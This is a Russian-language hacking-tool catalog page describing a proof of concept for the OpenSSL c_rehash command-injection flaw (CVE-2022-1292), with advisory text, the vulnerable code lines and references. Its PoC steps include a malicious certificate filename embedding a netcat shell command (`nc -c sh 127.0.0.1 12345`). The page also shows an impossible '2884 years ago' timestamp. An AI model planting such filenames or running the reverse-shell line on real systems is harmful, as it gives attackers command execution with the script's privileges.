Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-1292 — CVE-2022-1292 OpenSSL c_rehash Vulnerability - POC | Kitploit
Инструменты/GitHubGitHub/alcaparra/cve-2022-1292
Vulnerability AnalysisExploitationPenetration TestingCommand and ControlLearning & EducationPayload Development
GitHubalcaparra/cve-2022-1292

CVE-2022-1292

CVE-2022-1292 OpenSSL c_rehash Vulnerability - POC

Репозиторий
2884 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-1292 POC

Скриншот POC

Описание

root@kitploit:~
The c_rehash script does not properly sanitise shell metacharacters to prevent command injection. 
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.

This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.

Внедрение команд происходит из-за того, что имена файлов не обрабатываются должным образом:

  • $fname =~ s/'/'\\''/g;
  • my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;

Эта часть скрипта уязвима, так как закрытие обратных кавычек позволяет выполнять команды. Например, файл с именем MyCert.crt`whoami` выполнит команду "whoami".

POC

  1. Перейдите в /etc/ssl/certs/ (по умолчанию) или в другие пути, настроенные в update-ca-certificates
  2. echo "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (nc в качестве примера полезной нагрузки)
  3. Затем дождитесь выполнения update-ca-certificates. Вы можете запустить его вручную с помощью c_rehash .

Ссылки

  • https://www.cvedetails.com/cve/CVE-2022-1292/
  • https://www.debian.org/security/2022/dsa-5139
  • https://lists.debian.org/debian-lts-announce/2022/05/msg00019.html
  • https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=1ad73b4d27bd8c1b369a3cd453681d3a4f1bb9b2
  • https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=e5fd1728ef4c7a5bf7c7a7163ca60370460a6e23
  • https://www.openssl.org/news/secadv/20220503.txt
Скачать инструмент